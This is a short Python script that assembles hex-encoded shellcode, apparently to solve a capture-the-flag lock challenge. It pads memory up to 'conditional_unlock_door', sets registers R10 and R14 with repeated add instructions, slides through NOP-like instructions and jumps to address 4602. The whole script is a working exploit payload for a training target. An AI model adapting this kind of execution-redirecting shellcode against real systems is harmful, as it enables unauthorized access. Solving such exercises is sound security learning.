FILL_BYTE = "30" ADD_8_TO_R10 = "7a52" ADD_1_TO_R10 = "5a53" ADD_R10_TO_R14 = "4e5a" JMP_6F_FORWARD = "7a34" NOP = "4f5a" # ADD_R10_TO_R15 but since we do not need R15 it acts as a NOP SHELL_CODE = FILL_BYTE * 89 # fill memory till conditional_unlock_door SHELL_CODE += ADD_8_TO_R10 * 15 SHELL_CODE += ADD_1_TO_R10 * 7 # increment r10 to 0x7f SHELL_CODE += ADD_R10_TO_R14 # set r14 to 0x7f (r14 is '0' initially) SHELL_CODE += NOP * 76 # forward PC SHELL_CODE += JMP_6F_FORWARD # jump to 4602 print(SHELL_CODE)